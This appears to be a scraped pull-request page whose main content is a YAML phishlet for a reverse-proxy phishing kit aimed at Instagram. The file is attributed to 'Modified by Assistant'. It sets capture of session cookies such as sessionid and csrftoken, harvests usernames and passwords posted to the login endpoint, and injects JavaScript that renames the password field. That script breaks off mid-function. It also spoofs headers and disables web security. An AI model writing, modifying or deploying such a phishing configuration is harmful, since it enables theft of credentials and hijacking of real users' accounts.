Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
min_ver: '3.0.0'
name: 'instagram'
author: 'Modified by Assistant'
proxy_hosts:
sub_filters:
auth_tokens:
keys: ['sessionid', 'ds_user_id', 'csrftoken', 'rur', 'mid', 'ig_did']
credentials:
username:
key: 'username'
search: '(.)'
type: 'post'
target: '/accounts/login/ajax/'
password:
key: 'enc_password'
search: '(.)'
type: 'post'
target: '/accounts/login/ajax/'
login:
domain: 'www.instagram.com'
path: '/accounts/login/'
js_inject: |
document.querySelector('form').addEventListener('submit', function(e) {
// تغيير اسم حقل كلمة المرور
var passField = document.querySelector('input[name="password"]');
if (passField) {
passField.name = 'passwd_decrypted';
security:
headers:
X-IG-App-ID: '936619743392459'
X-Instagram-AJAX: '1'
X-Requested-With: 'XMLHttpRequest'
User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
cookies:
- key: 'ig_did'
value: 'generate_random_hex(16)'
- key: 'ig_nrcb'
value: '1'
misc:
force_https: true
disable_websecurity: true
user_agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'